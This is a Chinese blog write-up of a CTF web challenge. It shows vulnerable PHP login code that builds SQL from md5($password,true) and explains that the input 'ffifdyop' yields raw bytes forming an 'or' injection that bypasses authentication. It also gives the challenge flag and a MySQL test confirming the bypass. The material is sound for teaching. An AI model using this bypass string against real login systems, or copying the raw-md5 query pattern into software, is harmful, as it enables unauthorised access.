后台登录（实验吧CTF题库-WEB）

原创

皮卡皮卡~ 于 2019-05-20 14:47:51 发布 3052 收藏 4

分类专栏： CTF题库 文章标签： MD5 SQL注入 CTF Web安全

本文链接：https://blog.csdn.net/y_universe/article/details/90374694

CTF题库 专栏收录该内容

10 篇文章 5 订阅

订阅专栏

后台登录（实验吧CTF题库-WEB）

题目概述

分值：10　难度：易参　解题通过率：94%

格式：flag:{xxx}

题目链接：http://www.shiyanbar.com/ctf/2036

参考解题步骤

1、首先，我们先查看一下网页源码，发现其中有以下注释内容

```
$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
 echo 'flag is :'.$flag;
}
else{
 echo '密码错误!';
}
```

推断应该是sql注入

2、进一步观察可以发现这并不是普通的sql注入，`md5($password,true)` 输入的密码被md5加密了。

先来看一下这个md5加密函数：

参数	描述
string	必需。规定要计算的字符串。

参数	描述
raw	可选。规定十六进制或二进制输出格式： TRUE - 原始 16 字符二进制格式 FALSE - 默认。32 字符十六进制数

可以看到如果第二个参数为true时，该函数的输出是原始二进制格式，会被作为字符串处理。因此我们希望构建一个字符串，这个字符串经过md5加密后输出的原始二进制（作为字符串处理）刚好是注入语句。

3、寻找字符串

可以看到题目url里的ffifdyop，这算是一个比较明显的提示，因为ffifdyop就是一个符合要求的字符串。

将ffifdyop用md5加密后的结果为276f722736c95d99e921722cf9ed621c

将十六进制的276f722736c95d99e921722cf9ed621c转换为字符串为'or'6]!r,b

我们只需关心'or'6即可，其后是什么无所谓。这与mysql的判断机制有关。

4、提交字符串(ffifdyop)即可得到答案 `flag is :flag{ffifdyop_has_trash}`

验证

测试语句

```sql
CREATE TABLE IF NOT EXISTS `admin`(
   `username` VARCHAR(50) NOT NULL,
   `password` VARCHAR(50) NOT NULL,
   PRIMARY KEY (`username`)
)ENGINE=InnoDB DEFAULT CHARSET=utf8;

INSERT INTO admin (username, password) VALUES('admin', 'lalala123');

SELECT * FROM admin WHERE username = 'admin' and password = ''or'6]��!r,��b';
```

结果

	username	password
	admin	lalala123
	NULL	NULL